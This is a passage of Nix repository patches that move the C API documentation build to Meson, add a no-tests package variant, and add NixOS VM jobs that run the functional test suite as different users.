-	{ cat $< ; echo "OUTPUT_DIRECTORY=$(docdir)/external-api" ; } | doxygen -
-
-# Generate the HTML API docs for Nix's unstable C bindings
-.PHONY: external-api-html
-external-api-html: $(docdir)/external-api/html/index.html
diff --git a/doc/manual/src/contributing/documentation.md b/doc/manual/src/contributing/documentation.md
index a5e2bfa837d..a14ecedd6e6 100644
--- a/doc/manual/src/contributing/documentation.md
+++ b/doc/manual/src/contributing/documentation.md
@@ -204,7 +204,6 @@ or inside `nix-shell` or `nix develop`:
 
 ```console
 $ mesonConfigurePhase
-$ cd build
 $ ninja src/internal-api-docs/html
 $ xdg-open src/internal-api-docs/html/index.html
 ```
@@ -218,13 +217,14 @@ You can also build and view it yourself:
 [C API documentation]: https://hydra.nixos.org/job/nix/master/external-api-docs/latest/download-by-type/doc/external-api-docs
 
 ```console
-# nix build .#hydraJobs.external-api-docs
-# xdg-open ./result/share/doc/nix/external-api/html/index.html
+$ nix build .#hydraJobs.external-api-docs
+$ xdg-open ./result/share/doc/nix/external-api/html/index.html
 ```
 
 or inside `nix-shell` or `nix develop`:
 
 ```
-# make external-api-html
-# xdg-open ./outputs/doc/share/doc/nix/external-api/html/index.html
+$ mesonConfigurePhase
+$ ninja src/external-api-docs/html
+$ xdg-open src/external-api-docs/html/index.html
 ```
diff --git a/flake.nix b/flake.nix
index 5c8d84a7566..4e7363cd68b 100644
--- a/flake.nix
+++ b/flake.nix
@@ -211,7 +211,6 @@
               ;
           };
 
-
           nix-internal-api-docs = final.callPackage ./src/internal-api-docs/package.nix {
             inherit
               fileset
@@ -220,6 +219,14 @@
               ;
           };
 
+          nix-external-api-docs = final.callPackage ./src/external-api-docs/package.nix {
+            inherit
+              fileset
+              stdenv
+              versionSuffix
+              ;
+          };
+
           # See https://github.com/NixOS/nixpkgs/pull/214409
           # Remove when fixed in this flake's nixpkgs
           pre-commit =
@@ -275,6 +282,8 @@
         inherit (nixpkgsFor.${system}.native)
           changelog-d;
         default = self.packages.${system}.nix;
+        nix-internal-api-docs = nixpkgsFor.${system}.native.nix-internal-api-docs;
+        nix-external-api-docs = nixpkgsFor.${system}.native.nix-external-api-docs;
       } // lib.concatMapAttrs
         # We need to flatten recursive attribute sets of derivations to pass `flake check`.
         (pkgName: {}: {
@@ -298,7 +307,6 @@
           #"nix-util" = { };
           #"nix-store" = { };
           #"nix-fetchers" = { };
-          "nix-internal-api-docs" = { };
         }
         // lib.optionalAttrs (builtins.elem system linux64BitSystems) {
         dockerImage =
@@ -370,6 +378,8 @@
             ++ pkgs.nix-store.nativeBuildInputs
             ++ pkgs.nix-fetchers.nativeBuildInputs
             ++ lib.optionals havePerl pkgs.nix-perl-bindings.nativeBuildInputs
+            ++ pkgs.nix-internal-api-docs.nativeBuildInputs
+            ++ pkgs.nix-external-api-docs.nativeBuildInputs
             ++ [
               modular.pre-commit.settings.package
               (pkgs.writeScriptBin "pre-commit-hooks-install"
diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix
index 293dee5cdac..abd44efefb2 100644
--- a/maintainers/hydra.nix
+++ b/maintainers/hydra.nix
@@ -128,11 +128,7 @@ in
   internal-api-docs = nixpkgsFor.x86_64-linux.native.nix-internal-api-docs;
 
   # API docs for Nix's C bindings.
-  external-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ../package.nix {
-    inherit fileset;
-    doBuild = false;
-    enableExternalAPIDocs = true;
-  };
+  external-api-docs = nixpkgsFor.x86_64-linux.native.nix-external-api-docs;
 
   # System tests.
   tests = import ../tests/nixos { inherit lib nixpkgs nixpkgsFor self; } // {
diff --git a/meson.build b/meson.build
index ebad238b1fc..e67fd4a7ac5 100644
--- a/meson.build
+++ b/meson.build
@@ -11,3 +11,4 @@ subproject('libstore')
 subproject('libfetchers')
 subproject('perl')
 subproject('internal-api-docs')
+subproject('external-api-docs')
diff --git a/package.nix b/package.nix
index 64096c7aa70..f414b9a7351 100644
--- a/package.nix
+++ b/package.nix
@@ -20,7 +20,6 @@
 , git
 , gtest
 , jq
-, doxygen
 , libarchive
 , libcpuid
 , libgit2
@@ -53,8 +52,7 @@
 , versionSuffix ? ""
 , officialRelease ? false
 
-# Whether to build Nix. Useful to skip for tasks like (a) just
-# generating API docs or (b) testing existing pre-built versions of Nix
+# Whether to build Nix. Useful to skip for tasks like testing existing pre-built versions of Nix
 , doBuild ? true
 
 # Run the unit tests as part of the build. See `installUnitTests` for an
@@ -93,10 +91,6 @@
 # - readline
 , readlineFlavor ? if stdenv.hostPlatform.isWindows then "readline" else "editline"
 
-# Whether to build the external API docs, can be done separately from
-# everything else.
-, enableExternalAPIDocs ? forDevShell
-
 # Whether to install unit tests. This is useful when cross compiling
 # since we cannot run them natively during the build, but can do so
 # later.
@@ -184,13 +178,6 @@ in {
           ./scripts/local.mk
         ] ++ lib.optionals buildUnitTests [
           ./doc/manual
-        ] ++ lib.optionals enableExternalAPIDocs [
-          ./doc/external-api
-        ] ++ lib.optionals enableExternalAPIDocs [
-          # Source might not be compiled, but still must be available
-          # for Doxygen to gather comments.
-          (fileset.difference ./src ./src/perl)
-          ./tests/unit
         ] ++ lib.optionals buildUnitTests [
           ./tests/unit
         ] ++ lib.optionals doInstallCheck [
@@ -204,7 +191,7 @@ in {
     ++ lib.optional doBuild "dev"
     # If we are doing just build or just docs, the one thing will use
     # "out". We only need additional outputs if we are doing both.
-    ++ lib.optional (doBuild && (enableManual || enableExternalAPIDocs)) "doc"
+    ++ lib.optional (doBuild && enableManual) "doc"
     ++ lib.optional installUnitTests "check"
     ++ lib.optional doCheck "testresults"
     ;
@@ -228,7 +215,6 @@ in {
   ] ++ lib.optionals (doInstallCheck || enableManual) [
     jq # Also for custom mdBook preprocessor.
   ] ++ lib.optional stdenv.hostPlatform.isLinux util-linux
-    ++ lib.optional enableExternalAPIDocs doxygen
   ;
 
   buildInputs = lib.optionals doBuild [
@@ -291,7 +277,6 @@ in {
     (lib.enableFeature doBuild "build")
     (lib.enableFeature buildUnitTests "unit-tests")
     (lib.enableFeature doInstallCheck "functional-tests")
-    (lib.enableFeature enableExternalAPIDocs "external-api-docs")
     (lib.enableFeature enableManual "doc-gen")
     (lib.enableFeature enableGC "gc")
     (lib.enableFeature enableMarkdown "markdown")
@@ -319,8 +304,7 @@ in {
     mkdir $testresults
   '';
 
-  installTargets = lib.optional doBuild "install"
-    ++ lib.optional enableExternalAPIDocs "external-api-html";
+  installTargets = lib.optional doBuild "install";
 
   installFlags = "sysconfdir=$(out)/etc";
 
@@ -344,9 +328,6 @@ in {
   ) + lib.optionalString enableManual ''
     mkdir -p ''${!outputDoc}/nix-support
     echo "doc manual ''${!outputDoc}/share/doc/nix/manual" >> ''${!outputDoc}/nix-support/hydra-build-products
-  '' + lib.optionalString enableExternalAPIDocs ''
-    mkdir -p ''${!outputDoc}/nix-support
-    echo "doc external-api-docs $out/share/doc/nix/external-api/html" >> ''${!outputDoc}/nix-support/hydra-build-products
   '';
 
   # So the check output gets links for DLLs in the out output.
diff --git a/doc/external-api/.gitignore b/src/external-api-docs/.gitignore
similarity index 100%
rename from doc/external-api/.gitignore
rename to src/external-api-docs/.gitignore
diff --git a/src/external-api-docs/.version b/src/external-api-docs/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/external-api-docs/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/doc/external-api/README.md b/src/external-api-docs/README.md
similarity index 100%
rename from doc/external-api/README.md
rename to src/external-api-docs/README.md
diff --git a/doc/external-api/doxygen.cfg.in b/src/external-api-docs/doxygen.cfg.in
similarity index 91%
rename from doc/external-api/doxygen.cfg.in
rename to src/external-api-docs/doxygen.cfg.in
index cd8b4989bab..1be71d895e2 100644
--- a/doc/external-api/doxygen.cfg.in
+++ b/src/external-api-docs/doxygen.cfg.in
@@ -12,7 +12,9 @@ PROJECT_NAME           = "Nix"
 # could be handy for archiving the generated documentation or if some version
 # control system is used.
 
-PROJECT_NUMBER         = @PACKAGE_VERSION@
+PROJECT_NUMBER         = @PROJECT_NUMBER@
+
+OUTPUT_DIRECTORY       = @OUTPUT_DIRECTORY@
 
 # Using the PROJECT_BRIEF tag one can provide an optional one line description
 # for a project that appears at the top of each page and should give viewer a
@@ -36,10 +38,10 @@ GENERATE_LATEX         = NO
 # so they can expand variables despite configure variables.
 
 INPUT                  = \
-  src/libutil-c \
-  src/libexpr-c \
-  src/libstore-c \
-  doc/external-api/README.md
+  @src@/src/libutil-c \
+  @src@/src/libexpr-c \
+  @src@/src/libstore-c \
+  @src@/doc/external-api/README.md
 
 FILE_PATTERNS = nix_api_*.h *.md
 
@@ -49,7 +51,6 @@ FILE_PATTERNS = nix_api_*.h *.md
 # RECURSIVE has no effect here.
 # This tag requires that the tag SEARCH_INCLUDES is set to YES.
 
-INCLUDE_PATH           = @RAPIDCHECK_HEADERS@
 EXCLUDE_PATTERNS = *_internal.h
 GENERATE_TREEVIEW = YES
 OPTIMIZE_OUTPUT_FOR_C  = YES
diff --git a/src/external-api-docs/meson.build b/src/external-api-docs/meson.build
new file mode 100644
index 00000000000..62474ffe401
--- /dev/null
+++ b/src/external-api-docs/meson.build
@@ -0,0 +1,31 @@
+project('nix-external-api-docs',
+  version : files('.version'),
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+fs = import('fs')
+
+doxygen_cfg = configure_file(
+  input : 'doxygen.cfg.in',
+  output : 'doxygen.cfg',
+  configuration : {
+    'PROJECT_NUMBER': meson.project_version(),
+    'OUTPUT_DIRECTORY' : meson.current_build_dir(),
+    'src' : fs.parent(fs.parent(meson.project_source_root())),
+  },
+)
+
+doxygen = find_program('doxygen', native : true, required : true)
+
+custom_target(
+  'external-api-docs',
+  command : [ doxygen , doxygen_cfg ],
+  input : [
+    doxygen_cfg,
+  ],
+  output : 'html',
+  install : true,
+  install_dir : get_option('datadir') / 'doc/nix/external-api',
+  build_always_stale : true,
+)
diff --git a/src/external-api-docs/package.nix b/src/external-api-docs/package.nix
new file mode 100644
index 00000000000..aa5cd49ebaf
--- /dev/null
+++ b/src/external-api-docs/package.nix
@@ -0,0 +1,65 @@
+{ lib
+, stdenv
+, releaseTools
+, fileset
+
+, meson
+, ninja
+, doxygen
+
+# Configuration Options
+
+, versionSuffix ? ""
+}:
+
+stdenv.mkDerivation (finalAttrs: {
+  pname = "nix-external-api-docs";
+  version = lib.fileContents ./.version + versionSuffix;
+
+  src = fileset.toSource {
+    root = ../..;
+    fileset =
+      let
+        cpp = fileset.fileFilter (file: file.hasExt "cc" || file.hasExt "h");
+      in
+      fileset.unions [
+        ./meson.build
+        ./doxygen.cfg.in
+        ./README.md
+        # Source is not compiled, but still must be available for Doxygen
+        # to gather comments.
+        (cpp ../libexpr-c)
+        (cpp ../libstore-c)
+        (cpp ../libutil-c)
+      ];
+  };
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    doxygen
+  ];
+
+  postUnpack = ''
+    sourceRoot=$sourceRoot/src/external-api-docs
+  '';
+
+  preConfigure =
+    # "Inline" .version so it's not a symlink, and includes the suffix
+    ''
+      echo ${finalAttrs.version} > .version
+    '';
+
+  postInstall = ''
+    mkdir -p ''${!outputDoc}/nix-support
+    echo "doc external-api-docs $out/share/doc/nix/external-api/html" >> ''${!outputDoc}/nix-support/hydra-build-products
+  '';
+
+  enableParallelBuilding = true;
+
+  strictDeps = true;
+
+  meta = {
+    platforms = lib.platforms.all;
+  };
+})
diff --git a/src/internal-api-docs/package.nix b/src/internal-api-docs/package.nix
index bb20a68d3fb..b5f1b0da1cf 100644
--- a/src/internal-api-docs/package.nix
+++ b/src/internal-api-docs/package.nix
@@ -46,6 +46,11 @@ stdenv.mkDerivation (finalAttrs: {
       echo ${finalAttrs.version} > .version
     '';
 
+  postInstall = ''
+    mkdir -p ''${!outputDoc}/nix-support
+    echo "doc internal-api-docs $out/share/doc/nix/internal-api/html" >> ''${!outputDoc}/nix-support/hydra-build-products
+  '';
+
   enableParallelBuilding = true;
 
   strictDeps = true;

From dc720f89f2689ddfb4c1e0d0ea0d442b6be6c006 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sun, 16 Jun 2024 12:22:42 +0200
Subject: [PATCH 376/528] flake.nix: Factor pkgs.nix_noTests out of
 buildNoTests

This is useful when iterating on the functional tests when trying
to run them in a VM test, for example.
---
 flake.nix             | 6 ++++++
 maintainers/hydra.nix | 8 +-------
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/flake.nix b/flake.nix
index 4e7363cd68b..7e7148afea3 100644
--- a/flake.nix
+++ b/flake.nix
@@ -227,6 +227,12 @@
               ;
           };
 
+          nix_noTests = final.nix.override {
+            doCheck = false;
+            doInstallCheck = false;
+            installUnitTests = false;
+          };
+
           # See https://github.com/NixOS/nixpkgs/pull/214409
           # Remove when fixed in this flake's nixpkgs
           pre-commit =
diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix
index abd44efefb2..e21145f374c 100644
--- a/maintainers/hydra.nix
+++ b/maintainers/hydra.nix
@@ -58,13 +58,7 @@ in
     self.packages.${system}.nix.override { enableGC = false; }
   );
 
-  buildNoTests = forAllSystems (system:
-    self.packages.${system}.nix.override {
-      doCheck = false;
-      doInstallCheck = false;
-      installUnitTests = false;
-    }
-  );
+  buildNoTests = forAllSystems (system: nixpkgsFor.${system}.native.nix_noTests);
 
   # Toggles some settings for better coverage. Windows needs these
   # library combinations, and Debian build Nix with GNU readline too.

From 439022c5acfce4284c902bd6ac59575902c2c15c Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sun, 16 Jun 2024 12:13:07 +0200
Subject: [PATCH 377/528] tests: Add hydraJobs.tests.functional_*

---
 .../build-remote-input-addressed.sh           |  2 +-
 tests/functional/common/init.sh               | 27 +++++++
 tests/functional/common/subst-vars.sh.in      |  7 +-
 tests/functional/common/vars-and-functions.sh | 81 ++++++++++++++-----
 tests/functional/impure-env.sh                |  4 +-
 .../functional/local-overlay-store/common.sh  |  2 +-
 tests/functional/post-hook.sh                 |  2 +-
 tests/nixos/default.nix                       |  7 ++
 tests/nixos/functional/as-root.nix            | 12 +++
 tests/nixos/functional/as-trusted-user.nix    | 18 +++++
 tests/nixos/functional/as-user.nix            | 16 ++++
 tests/nixos/functional/common.nix             | 76 +++++++++++++++++
 tests/nixos/functional/quick-build.nix        | 47 +++++++++++
 13 files changed, 273 insertions(+), 28 deletions(-)
 create mode 100644 tests/nixos/functional/as-root.nix
 create mode 100644 tests/nixos/functional/as-trusted-user.nix
 create mode 100644 tests/nixos/functional/as-user.nix
 create mode 100644 tests/nixos/functional/common.nix
 create mode 100644 tests/nixos/functional/quick-build.nix

diff --git a/tests/functional/build-remote-input-addressed.sh b/tests/functional/build-remote-input-addressed.sh
index 986692dbc01..11199a4088d 100755
--- a/tests/functional/build-remote-input-addressed.sh
+++ b/tests/functional/build-remote-input-addressed.sh
@@ -23,7 +23,7 @@ EOF
     chmod +x "$TEST_ROOT/post-build-hook.sh"
     rm -f "$TEST_ROOT/post-hook-counter"
 
-    echo "post-build-hook = $TEST_ROOT/post-build-hook.sh" >> "$NIX_CONF_DIR/nix.conf"
+    echo "post-build-hook = $TEST_ROOT/post-build-hook.sh" >> "$test_nix_conf"
 }
 
 registerBuildHook
diff --git a/tests/functional/common/init.sh b/tests/functional/common/init.sh
index 4f2a393af5c..19cef5af93a 100755
--- a/tests/functional/common/init.sh
+++ b/tests/functional/common/init.sh
@@ -1,5 +1,30 @@
 # shellcheck shell=bash
 
+# for shellcheck
+: "${test_nix_conf_dir?}" "${test_nix_conf?}"
+
+if isTestOnNixOS; then
+
+  mkdir -p "$test_nix_conf_dir" "$TEST_HOME"
+
+  export NIX_USER_CONF_FILES="$test_nix_conf_dir/nix.conf"
+  mkdir -p "$test_nix_conf_dir" "$TEST_HOME"
+  ! test -e "$test_nix_conf"
+  cat > "$test_nix_conf_dir/nix.conf" <<EOF
+experimental-features = nix-command flakes
+flake-registry = $TEST_ROOT/registry.json
+show-trace = true
+EOF
+
+  # When we're doing everything in the same store, we need to bring
+  # dependencies into context.
+  sed -i "$(dirname "${BASH_SOURCE[0]}")"/../config.nix \
+    -e 's^\(shell\) = "/nix/store/\([^/]*\)/\(.*\)";^\1 = builtins.appendContext "/nix/store/\2" { "/nix/store/\2".path = true; } + "/\3";^' \
+    -e 's^\(path\) = "/nix/store/\([^/]*\)/\(.*\)";^\1 = builtins.appendContext "/nix/store/\2" { "/nix/store/\2".path = true; } + "/\3";^' \
+    ;
+
+else
+
 test -n "$TEST_ROOT"
 # We would delete any daemon socket, so let's stop the daemon first.
 killDaemon
@@ -41,3 +66,5 @@ EOF
 nix-store --init
 # Sanity check
 test -e "$NIX_STATE_DIR"/db/db.sqlite
+
+fi # !isTestOnNixOS
diff --git a/tests/functional/common/subst-vars.sh.in b/tests/functional/common/subst-vars.sh.in
index 4105e9f35eb..42ef30fb88f 100644
--- a/tests/functional/common/subst-vars.sh.in
+++ b/tests/functional/common/subst-vars.sh.in
@@ -1,11 +1,14 @@
 # NOTE: instances of @variable@ are substituted as defined in /mk/templates.mk
 
-export PATH=@bindir@:$PATH
+if ! isTestOnNixOS; then
+  export SHELL="@bash@"
+  export PATH=@bindir@:$PATH
+fi
+
 export coreutils=@coreutils@
 #lsof=@lsof@
 
 export dot=@dot@
-export SHELL="@bash@"
 export PAGER=cat
 export busybox="@sandbox_shell@"
 
diff --git a/tests/functional/common/vars-and-functions.sh b/tests/functional/common/vars-and-functions.sh
index ad5b29a943b..4b0fee5b24e 100644
--- a/tests/functional/common/vars-and-functions.sh
+++ b/tests/functional/common/vars-and-functions.sh
@@ -6,6 +6,15 @@ if [[ -z "${COMMON_VARS_AND_FUNCTIONS_SH_SOURCED-}" ]]; then
 
 COMMON_VARS_AND_FUNCTIONS_SH_SOURCED=1
 
+isTestOnNixOS() {
+  [[ "${isTestOnNixOS:-}" == 1 ]]
+}
+
+die() {
+  echo "fatal error: $*" >&2
+  exit 1
+}
+
 set +x
 
 commonDir="$(readlink -f "$(dirname "${BASH_SOURCE[0]-$0}")")"
@@ -15,27 +24,35 @@ source "$commonDir/subst-vars.sh"
 : "${PATH?} ${coreutils?} ${dot?} ${SHELL?} ${PAGER?} ${busybox?} ${version?} ${system?} ${BUILD_SHARED_LIBS?}"
 
 export TEST_ROOT=$(realpath ${TMPDIR:-/tmp}/nix-test)/${TEST_NAME:-default/tests\/functional//}
-export NIX_STORE_DIR
-if ! NIX_STORE_DIR=$(readlink -f $TEST_ROOT/store 2> /dev/null); then
-    # Maybe the build directory is symlinked.
-    export NIX_IGNORE_SYMLINK_STORE=1
-    NIX_STORE_DIR=$TEST_ROOT/store
-fi
-export NIX_LOCALSTATE_DIR=$TEST_ROOT/var
-export NIX_LOG_DIR=$TEST_ROOT/var/log/nix
-export NIX_STATE_DIR=$TEST_ROOT/var/nix
-export NIX_CONF_DIR=$TEST_ROOT/etc
-export NIX_DAEMON_SOCKET_PATH=$TEST_ROOT/dSocket
-unset NIX_USER_CONF_FILES
-export _NIX_TEST_SHARED=$TEST_ROOT/shared
-if [[ -n $NIX_STORE ]]; then
-    export _NIX_TEST_NO_SANDBOX=1
-fi
-export _NIX_IN_TEST=$TEST_ROOT/shared
-export _NIX_TEST_NO_LSOF=1
-export NIX_REMOTE=${NIX_REMOTE_-}
-unset NIX_PATH
+test_nix_conf_dir=$TEST_ROOT/etc
+test_nix_conf=$test_nix_conf_dir/nix.conf
+
 export TEST_HOME=$TEST_ROOT/test-home
+
+if ! isTestOnNixOS; then
+  export NIX_STORE_DIR
+  if ! NIX_STORE_DIR=$(readlink -f $TEST_ROOT/store 2> /dev/null); then
+      # Maybe the build directory is symlinked.
+      export NIX_IGNORE_SYMLINK_STORE=1
+      NIX_STORE_DIR=$TEST_ROOT/store
+  fi
+  export NIX_LOCALSTATE_DIR=$TEST_ROOT/var
+  export NIX_LOG_DIR=$TEST_ROOT/var/log/nix
+  export NIX_STATE_DIR=$TEST_ROOT/var/nix
+  export NIX_CONF_DIR=$test_nix_conf_dir
+  export NIX_DAEMON_SOCKET_PATH=$TEST_ROOT/dSocket
+  unset NIX_USER_CONF_FILES
+  export _NIX_TEST_SHARED=$TEST_ROOT/shared
+  if [[ -n $NIX_STORE ]]; then
+      export _NIX_TEST_NO_SANDBOX=1
+  fi
+  export _NIX_IN_TEST=$TEST_ROOT/shared
+  export _NIX_TEST_NO_LSOF=1
+  export NIX_REMOTE=${NIX_REMOTE_-}
+
+fi # ! isTestOnNixOS
+
+unset NIX_PATH
 export HOME=$TEST_HOME
 unset XDG_STATE_HOME
 unset XDG_DATA_HOME
@@ -66,6 +83,10 @@ clearProfiles() {
 }
 
 clearStore() {
+    if isTestOnNixOS; then
+      die "clearStore: not supported when testing on NixOS. Is it really needed? If so add conditionals; e.g. if ! isTestOnNixOS; then ..."
+    fi
+
     echo "clearing store..."
     chmod -R +w "$NIX_STORE_DIR"
     rm -rf "$NIX_STORE_DIR"
@@ -84,6 +105,10 @@ clearCacheCache() {
 }
 
 startDaemon() {
+    if isTestOnNixOS; then
+      die "startDaemon: not supported when testing on NixOS. Is it really needed? If so add conditionals; e.g. if ! isTestOnNixOS; then ..."
+    fi
+
     # Don’t start the daemon twice, as this would just make it loop indefinitely
     if [[ "${_NIX_TEST_DAEMON_PID-}" != '' ]]; then
         return
@@ -110,6 +135,10 @@ startDaemon() {
 }
 
 killDaemon() {
+    if isTestOnNixOS; then
+      die "killDaemon: not supported when testing on NixOS. Is it really needed? If so add conditionals; e.g. if ! isTestOnNixOS; then ..."
+    fi
+
     # Don’t fail trying to stop a non-existant daemon twice
     if [[ "${_NIX_TEST_DAEMON_PID-}" == '' ]]; then
         return
@@ -130,6 +159,10 @@ killDaemon() {
 }
 
 restartDaemon() {
+    if isTestOnNixOS; then
+      die "restartDaemon: not supported when testing on NixOS. Is it really needed? If so add conditionals; e.g. if ! isTestOnNixOS; then ..."
+    fi
+
     [[ -z "${_NIX_TEST_DAEMON_PID:-}" ]] && return 0
 
     killDaemon
@@ -152,6 +185,12 @@ skipTest () {
     exit 99
 }
 
+TODO_NixOS() {
+    if isTestOnNixOS; then
+        skipTest "This test has not been adapted for NixOS yet"
+    fi
+}
+
 requireDaemonNewerThan () {
     isDaemonNewer "$1" || skipTest "Daemon is too old"
 }
@@ -234,7 +273,7 @@ buggyNeedLocalStore() {
 
 enableFeatures() {
     local features="$1"
-    sed -i 's/experimental-features .*/& '"$features"'/' "$NIX_CONF_DIR"/nix.conf
+    sed -i 's/experimental-features .*/& '"$features"'/' "$test_nix_conf_dir"/nix.conf
 }
 
 set -x
diff --git a/tests/functional/impure-env.sh b/tests/functional/impure-env.sh
index 3c7df169eb5..e65c78b0014 100755
--- a/tests/functional/impure-env.sh
+++ b/tests/functional/impure-env.sh
@@ -20,13 +20,13 @@ startDaemon
 
 varTest env_name value --impure-env env_name=value
 
-echo 'impure-env = set_in_config=config_value' >> "$NIX_CONF_DIR/nix.conf"
+echo 'impure-env = set_in_config=config_value' >> "$test_nix_conf"
 set_in_config=daemon_value restartDaemon
 
 varTest set_in_config config_value
 varTest set_in_config client_value --impure-env set_in_config=client_value
 
-sed -i -e '/^trusted-users =/d' "$NIX_CONF_DIR/nix.conf"
+sed -i -e '/^trusted-users =/d' "$test_nix_conf"
 
 env_name=daemon_value restartDaemon
 
diff --git a/tests/functional/local-overlay-store/common.sh b/tests/functional/local-overlay-store/common.sh
index 0e60978617f..bbe84847a53 100644
--- a/tests/functional/local-overlay-store/common.sh
+++ b/tests/functional/local-overlay-store/common.sh
@@ -31,7 +31,7 @@ requireEnvironment () {
 }
 
 addConfig () {
-    echo "$1" >> "$NIX_CONF_DIR/nix.conf"
+    echo "$1" >> "$test_nix_conf"
 }
 
 setupConfig () {
diff --git a/tests/functional/post-hook.sh b/tests/functional/post-hook.sh
index c0b1ab3aae5..7540d1045d0 100755
--- a/tests/functional/post-hook.sh
+++ b/tests/functional/post-hook.sh
@@ -7,7 +7,7 @@ clearStore
 rm -f $TEST_ROOT/result
 
 export REMOTE_STORE=file:$TEST_ROOT/remote_store
-echo 'require-sigs = false' >> $NIX_CONF_DIR/nix.conf
+echo 'require-sigs = false' >> $test_nix_conf
 
 restartDaemon
 
diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix
index 710f8a2731a..2ab00b336b1 100644
--- a/tests/nixos/default.nix
+++ b/tests/nixos/default.nix
@@ -132,4 +132,11 @@ in
   ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
 
   gzip-content-encoding = runNixOSTestFor "x86_64-linux" ./gzip-content-encoding.nix;
+
+  functional_user = runNixOSTestFor "x86_64-linux" ./functional/as-user.nix;
+
+  functional_trusted = runNixOSTestFor "x86_64-linux" ./functional/as-trusted-user.nix;
+
+  functional_root = runNixOSTestFor "x86_64-linux" ./functional/as-root.nix;
+
 }
diff --git a/tests/nixos/functional/as-root.nix b/tests/nixos/functional/as-root.nix
new file mode 100644
index 00000000000..96be3d59327
--- /dev/null
+++ b/tests/nixos/functional/as-root.nix
@@ -0,0 +1,12 @@
+{
+  name = "functional-tests-on-nixos_root";
+
+  imports = [ ./common.nix ];
+
+  testScript = ''
+    machine.wait_for_unit("multi-user.target")
+    machine.succeed("""
+      run-test-suite >&2
+    """)
+  '';
+}
diff --git a/tests/nixos/functional/as-trusted-user.nix b/tests/nixos/functional/as-trusted-user.nix
new file mode 100644
index 00000000000..d6f825697e9
--- /dev/null
+++ b/tests/nixos/functional/as-trusted-user.nix
@@ -0,0 +1,18 @@
+{
+  name = "functional-tests-on-nixos_trusted-user";
+
+  imports = [ ./common.nix ];
+
+  nodes.machine = {
+    users.users.alice = { isNormalUser = true; };
+    nix.settings.trusted-users = [ "alice" ];
+  };
+
+  testScript = ''
+    machine.wait_for_unit("multi-user.target")
+    machine.succeed("""
+      export TEST_TRUSTED_USER=1
+      su --login --command "run-test-suite" alice >&2
+    """)
+  '';
+}
\ No newline at end of file
diff --git a/tests/nixos/functional/as-user.nix b/tests/nixos/functional/as-user.nix
new file mode 100644
index 00000000000..1443f6e6ccd
--- /dev/null
+++ b/tests/nixos/functional/as-user.nix
@@ -0,0 +1,16 @@
+{
+  name = "functional-tests-on-nixos_user";
+
+  imports = [ ./common.nix ];
+
+  nodes.machine = {
+    users.users.alice = { isNormalUser = true; };
+  };
+
+  testScript = ''
+    machine.wait_for_unit("multi-user.target")
+    machine.succeed("""
+      su --login --command "run-test-suite" alice >&2
+    """)
+  '';
+}
diff --git a/tests/nixos/functional/common.nix b/tests/nixos/functional/common.nix
new file mode 100644
index 00000000000..493791a7bd6
--- /dev/null
+++ b/tests/nixos/functional/common.nix
@@ -0,0 +1,76 @@
+{ lib, ... }:
+
+let
+  # FIXME (roberth) reference issue
+  inputDerivation = pkg: (pkg.overrideAttrs (o: {
+    disallowedReferences = [ ];
+  })).inputDerivation;
+
+in
+{
+  imports = [
+    # Add the quickBuild attribute to the check package
+    ./quick-build.nix
+  ];
+
+  # We rarely change the script in a way that benefits from type checking, so
+  # we skip it to save time.
+  skipTypeCheck = true;
+
+  nodes.machine = { config, pkgs, ... }: {
+
+    virtualisation.writableStore = true;
+    system.extraDependencies = [
+      (inputDerivation config.nix.package)
+    ];
+
+    nix.settings.substituters = lib.mkForce [];
+
+    environment.systemPackages = let
+      run-test-suite = pkgs.writeShellApplication {
+        name = "run-test-suite";
+        runtimeInputs = [ pkgs.gnumake pkgs.jq pkgs.git ];
+        text = ''
+          set -x
+          cat /proc/sys/fs/file-max
+          ulimit -Hn
+          ulimit -Sn
+          cd ~
+          cp -r ${pkgs.nix.overrideAttrs (o: {
+            name = "nix-configured-source";
+            outputs = [ "out" ];
+            separateDebugInfo = false;
+            disallowedReferences = [ ];
+            buildPhase = ":";
+            checkPhase = ":";
+            installPhase = ''
+              cp -r . $out
+            '';
+            installCheckPhase = ":";
+            fixupPhase = ":";
+            doInstallCheck = true;
+          })} nix
+          chmod -R +w nix
+          cd nix
+
+          # Tests we don't need
+          echo >tests/functional/plugins/local.mk
+          sed -i tests/functional/local.mk \
+            -e 's!nix_tests += plugins\.sh!!' \
+            -e 's!nix_tests += test-libstoreconsumer\.sh!!' \
+            ;
+
+          export isTestOnNixOS=1
+          export version=${config.nix.package.version}
+          export NIX_REMOTE_=daemon
+          export NIX_REMOTE=daemon
+          export NIX_STORE=${builtins.storeDir}
+          make -j1 installcheck --keep-going
+        '';
+      };
+    in [
+      run-test-suite
+      pkgs.git
+    ];
+  };
+}
diff --git a/tests/nixos/functional/quick-build.nix b/tests/nixos/functional/quick-build.nix
new file mode 100644
index 00000000000..10f4215e5de
--- /dev/null
+++ b/tests/nixos/functional/quick-build.nix
@@ -0,0 +1,47 @@
+test@{ lib, extendModules, ... }:
+let
+  inherit (lib) mkOption types;
+in
+{
+  options = {
+    quickBuild = mkOption {
+      description = ''
+        Whether to perform a "quick" build of the Nix package to test.
+
+        When iterating on the functional tests, it's recommended to "set" this
+        to `true`, so that changes to the functional tests don't require any
+        recompilation of the package.
+        You can do so by buildin the `.quickBuild` attribute on the check package,
+        e.g:
+        ```console
+        nix build .#hydraJobs.functional_user.quickBuild
+        ```
+
+        We don't enable this by default to avoid the mostly unnecessary work of
+        performing an additional build of the package in cases where we build
+        the package normally anyway, such as in our pre-merge CI.
+      '';
+      type = types.bool;
+      default = false;
+    };
+  };
+
+  config = {
+    passthru.quickBuild = 
+      let withQuickBuild = extendModules { modules = [{ quickBuild = true; }]; };
+      in withQuickBuild.config.test;
+
+    defaults = { pkgs, ... }: {
+      config = lib.mkIf test.config.quickBuild {
+        nix.package = pkgs.nix_noTests;
+
